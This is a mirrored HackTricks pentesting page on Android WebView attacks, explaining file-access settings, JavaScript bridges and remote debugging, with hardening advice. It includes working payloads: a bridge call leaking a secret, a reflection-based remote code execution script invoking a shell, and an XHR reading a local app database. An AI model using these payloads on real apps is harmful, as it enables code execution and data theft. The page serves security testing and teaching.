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HackTricks - Boitatech
  • HackTricks
  • About the author
  • Getting Started in Hacking
  • Pentesting Methodology
  • External Recon Methodology
    • Github Leaked Secrets
  • Phishing Methodology
    • Clone a Website
    • Detecting Phising
    • Phishing Documents
  • Exfiltration
  • Tunneling and Port Forwarding
  • Brute Force - CheatSheet
  • Search Exploits
  • Shells
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • Linux/Unix
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • PAM - Pluggable Authentication Modules
      • SELinux
      • Logstash
      • AppArmor
      • Containerd (ctr) Privilege Escalation
      • Docker Breakout
      • electron/CEF/chromium debugger abuse
      • Escaping from Jails
      • Cisco - vmanage
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Interesting Groups - Linux PE
        • lxd/lxc Group - Privilege escalation
      • ld.so exploit example
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Payloads to execute
      • RunC Privilege Escalation
      • Seccomp
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Socket Command Injection
      • Wildcards Spare tricks
    • Useful Linux Commands
      • Bypass Bash Restrictions
    • Linux Environment Variables
  • MacOS
    • MacOS Security & Privilege Escalation
      • Mac OS Architecture
      • MacOS MDM
        • Enrolling Devices in Other Organisations
      • MacOS Protocols
      • MacOS Red Teaming
      • MacOS Serial Number
      • MacOS Apps - Inspecting, debugging and Fuzzing
  • Windows
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • DPAPI - Extracting Passwords
      • SeImpersonate from High To System
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • Dll Hijacking
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JAWS
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • PowerUp
      • Privilege Escalation Abusing Tokens
      • Privilege Escalation with Autoruns
      • RottenPotato
      • Seatbelt
      • SeDebug + SeImpersonate copy token
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
      • AD information in printers
      • ASREPRoast
      • BloodHound
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • DSRM Credentials
      • Golden Ticket
      • Kerberos Authentication
      • Kerberoast
      • MSSQL Trusted Links
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying
      • Force NTLM Privileged Authentication
      • Privileged Accounts and Token Privileges
      • Resource-based Constrained Delegation
      • Security Descriptors
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • NTLM
      • Places to steal NTLM creds
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WmicExec
      • AtExec / SchtasksExec
      • WinRM
    • Stealing Credentials
      • Credentials Protections
      • Mimikatz
    • Authentication, Credentials, UAC and EFS
    • Basic CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView
    • AV Bypass
  • Mobile Apps Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Burp Suite Configuration for Android
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable applciation
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Inspeckage Tutorial
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • Basic iOS Testing Operations
      • Burp Suite Configuration for iOS
      • Extracting Entitlements From Compiled Application
      • Frida Configuration in iOS
      • iOS App Extensions
      • iOS Basics
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
  • Pentesting
    • Pentesting Network
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
      • Wifi Attacks
        • Evil Twin EAP-TLS
      • Pentesting IPv6
      • Nmap Summary (ESP)
      • Network Protocols Explained (ESP)
      • IDS and IPS Evasion
      • DHCPv6
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
      • Accounting bypass
      • Buffer Overflows
      • Credentials Disclosure / Brute-Force
      • Cross-Site Printing
      • Document Processing
      • Factory Defaults
      • File system access
      • Firmware updates
      • Memory Access
      • Physical Damage
      • Software packages
      • Transmission channel
      • Print job manipulation
      • Print Job Retention
      • Scanner and Fax
    • Pentesting SAP
    • Pentesting Kubernetes
      • Enumeration from a Pod
      • Hardening Roles/ClusterRoles
      • Pentesting Kubernetes from the outside
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Apache
      • Artifactory Hacking guide
      • Buckets
        • Firebase Database
        • AWS-S3
      • CGI
      • Code Review Tools
      • Drupal
      • Flask
      • Git
      • Golang
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • JBOSS
      • Jenkins
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks (SPA)
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
      • Python
      • Special HTTP headers
      • Spring Actuators
      • Symphony
      • Tomcat
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • Web API Pentesting
      • WebDav
      • werkzeug
      • Wordpress
      • XSS to RCE Electron Desktop Apps
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
      • Oracle Pentesting requirements installation
      • TNS Poison
      • Remote stealth pass brute force
      • Oracle RCE & more
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS)
    • 5432,5433 - Pentesting Postgresql
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8089 - Splunkd
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
    • 15672 - Pentesting RabbitMQ Management
    • 27017,27018 - Pentesting MongoDB
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Abusing hop-by-hop headers
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Command Injection
    • Content Security Policy (CSP) Bypass
    • Cookies Hacking
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • Cross-site WebSocket hijacking (CSWSH)
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
    • Domain/Subdomain takeover
    • Email Header Injection
    • File Inclusion/Path traversal
      • phar:// deserialization
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula Injection
    • HTTP Request Smuggling / HTTP Desync Attack
    • H2C Smuggling
    • IDOR
    • JWT Vulnerabilities (Json Web Tokens)
    • NoSQL injection
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • PostMessage Vulnerabilities
    • Race Condition
    • Rate Limit Bypass
    • Registration Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MSSQL Injection
      • Oracle injection
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Extensions
      • MySQL injection
        • Mysql SSRF
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
    • Reverse Tab Nabbing
    • Unicode Normalization vulnerability
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • PDF Injection
      • DOM XSS
      • Server Side XSS (Dynamic PDF)
      • XSS Tools
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search
  • Forensics
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Adquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • EXT
        • File/Data Carving & Recovery Tools
        • NTFS
      • Pcap Inspection
        • DNSCat pcap analysis
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • .pyc
        • Browser Artifacts
        • Desofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Windows Processes
        • Interesting Windows Registry Keys
  • A.I. Exploiting
    • BRA.I.NSMASHER Presentation
      • Basic Bruteforcer
      • Basic Captcha Breaker
      • BIM Bruteforcer
      • Hybrid Malware Classifier Part 1
  • Blockchain
    • Blockchain & Crypto Currencies
  • Courses and Certifications Reviews
    • INE Courses and eLearnSecurity Certifications Reviews
  • Cloud Security
    • Cloud security review
    • AWS Security
  • Physical attacks
    • Physical Attacks
    • Escaping from KIOSKs
      • Show file extensions
  • Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Word Macros
  • Exploiting
    • Linux Exploiting (Basic) (SPA)
      • Format Strings Template
      • ROP - call sys_execve
      • ROP - Leaking LIBC address
        • ROP - Leaking LIBC template
      • Bypassing Canary & PIE
      • Ret2Lib
      • Fusion
    • Exploiting Tools
      • PwnTools
    • Windows Exploiting (Basic Guide - OSCP lvl)
  • Cryptography
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
  • BACKDOORS
    • Merlin
    • Empire
    • Salseo
    • ICMPsh
  • Stego
    • Stego Tricks
    • Esoteric languages
  • MISC
    • Basic Python
      • venv
      • Bypass Python sandboxes
      • Magic Methods
      • Web Requests
      • Bruteforce hash (few chars)
    • Other Big References
  • TODO
    • More Tools
    • MISC
    • Pentesting DNS
  • Burp Suite
  • Other Web Tricks
  • Interesting HTTP
  • Emails Vulnerabilities
  • Android Forensics
  • TR-069
  • 6881/udp - Pentesting BitTorrent
  • CTF Write-ups
    • challenge-0521.intigriti.io
    • Try Hack Me
      • hc0n Christmas CTF - 2019
      • Pickle Rick
  • 1911 - Pentesting fox
  • Online Platforms with API
  • Stealing Sensitive Information Disclosure from a Web
  • Post Exploitation
Powered by GitBook
On this page
  • Interesting Configurations
  • File Access
  • Javascript Enabled
  • Javascript Bridge
  • Javascript Bridge to RCE via Reflection
  • Remote Debugging
  • Payloads
  • Exfiltrate arbitrary files
  • References

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  1. Mobile Apps Pentesting
  2. Android Applications Pentesting

Webview Attacks

PreviousSpoofing your location in Play StoreNextiOS Pentesting Checklist

Last updated 3 years ago

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Interesting Configurations

File Access

WebView file access is enabled by default. Since API 3 (Cupcake 1.5) the method is available for explicitly enabling or disabling it. If the application has android.permission.READ_EXTERNAL_STORAGE it will be able to read and load files from the external storage. The WebView needs to use a File URL Scheme, e.g., file://path/file, to access the file.

Universal Access From File URL (Deprecated)

Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from any origin. This includes access to content from other file scheme URLs or web contexts. Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting.

Don't enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a file:// context to launch cross-site scripting attacks, either accessing arbitrary local files including WebView cookies, app private data or even credentials used on arbitrary web sites.

In summary this will prevent loading arbitrary Origins. The app will send the URL request lo load the content with Origin: file:// if the response doesn't allow that origin (Access-Control-Allow-Origin: file://) then the content won't be loaded. The default value is false when targeting and above.

  • Use to know whether JavaScript running in the context of a file scheme URL can access content from any origin (if UniversalAccessFromFileURL is enabled).

  • Use to enable/disable it.

Using loadDataWithBaseURL() with null as baseURL will also prevent to load local files even if all the dangerous settings are enabled.

File Access From File URLs (Deprecated)

Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting.

Don't enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a file:// context to access arbitrary local files including WebView cookies and app private data.

In summary, this prevents javascript to access local files via file:// protocol. Note that the value of this setting is ignored if the value of is true. The default value is false when targeting and above.

  • Use to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs.

  • Use to enable/disable it.

File Access

Enables or disables file access within WebView. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android_asset and file:///android_res.

WebViewAssetLoader

This is new recommended way to load local files. The goal is to access local files using a HTTP URL with the domain. This way the CORS can be easily maintained between the local web pages and the web pages that are downloaded from the web server.

Javascript Enabled

Javascript Bridge

Please note that when you use addJavascriptInterface, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces.

Static Analysis

//Class with a method to access a secret
public class JavascriptBridge {
    // Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
    // not annotated with @JavascriptInterface are not visible from JavaScript
    @JavascriptInterface
    public String getSecret() {
        return "SuperSecretPassword";
    };
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

With access to the JavaScript code, via, for example, via stored XSS, MITM attack or a malicious website that is loaded inside the WebView, can directly call the exposed Java methods.

Note that in the case of trying to exploit this vulnerability via an Open Redirect to an attackers web page that access the Native Android Objet. If the access to the redirection is done via a mobile browser and not using the same WebView, the browser won't be able to access the native Android object.

If addJavascriptInterface is necessary, take the following considerations:

  • Only JavaScript provided with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method (via WebView.getUrl).

  • No JavaScript should be loaded from remote endpoints, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser (e.g. Chrome, Firefox).

  • If necessary for legacy reasons (e.g. having to support older devices), at least set the minimal API level to 17 in the manifest file of the app (<uses-sdk android:minSdkVersion="17" />).

Javascript Bridge to RCE via Reflection

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
  return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

However modern applications may use the @JavascriptInterface annotation that indicates to the JavascriptBridge that only the method with this annotation should be exposed. In that scenario, you won't be able to abuse Reflection to execute arbitrary code.

Remote Debugging

Renote WebView debugging allow to access the webview with the Chrome Developer Tools. The device needs to be accessible by the PC (via USB, local emulator, local network...) and running the debuggable WebView, then access chrome://inspect/#devices:

Select inspect and a new window will be opened. In this Windows you can interact with the content of the WebView and even make it execute arbitrary JS code from the console tab:

In order to enable WebView Remote Debugging you can do something like:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    WebView.setWebContentsDebuggingEnabled(true);
}

This setting applies to all of the application's WebViews.

WebView debugging is not affected by the state of the debuggable flag in the application's manifest. If you want to enable WebView debugging only when debuggable is true, test the flag at runtime.

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
    { WebView.setWebContentsDebuggingEnabled(true); }
}

Payloads

Exfiltrate arbitrary files

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

References

In summary, if disable, the WebView won't be able to load a local file with the file:// protocol. The default value isfalse when targeting and above.

Use to know if the configuration is enabled.

Use to enable/disable it.

Helper class to load local files including application's static assets and resources using http(s):// URLs inside a class. Loading local files using web-like URLs instead of "file://" is desirable as it is compatible with the Same-Origin policy.

WebViews have Javascript disabled by default. The method is can explicitly enabling or disabling it. Note that webviews can also support the intent scheme that allows to fire other applications. Read this .

Android offers a way for JavaScript executed in a WebView to call and use native functions of an Android app (annotated with @JavascriptInterface) by using the method. This is known as a WebView JavaScript bridge or native bridge.

Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are in the implementation of addJavascriptInterface: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated).

As noted in (check it for ideas in case you obtain RCE) **once you found a JavascriptBridge it may be possible to obtain RCE via Reflection** using a payload like the following one:

setAllowFileAccess()
Build.VERSION_CODES.JELLY_BEAN
getAllowUniversalAccessFromFileURLs()
setAllowUniversalAccessFromFileURLs(boolean)
getAllowUniversalAccessFromFileURLs()
Build.VERSION_CODES.JELLY_BEAN
getAllowFileAccessFromFileURLs()
setAllowFileAccessFromFileURLs(boolen)
Build.VERSION_CODES.R
getAllowFileAccess()
setAllowFileAccess(boolean)
WebView
setJavaScriptEnabled()
writeup to find how to go from XSS to RCE
addJavascriptInterface
vulnerable to a flaw
this research
LogoGitHub - authenticationfailure/WheresMyBrowser.Android: Where's My Browser? Learn hacking WebViews (Android Mobile App)GitHub
LogoWebView  |  Android DevelopersAndroid Developers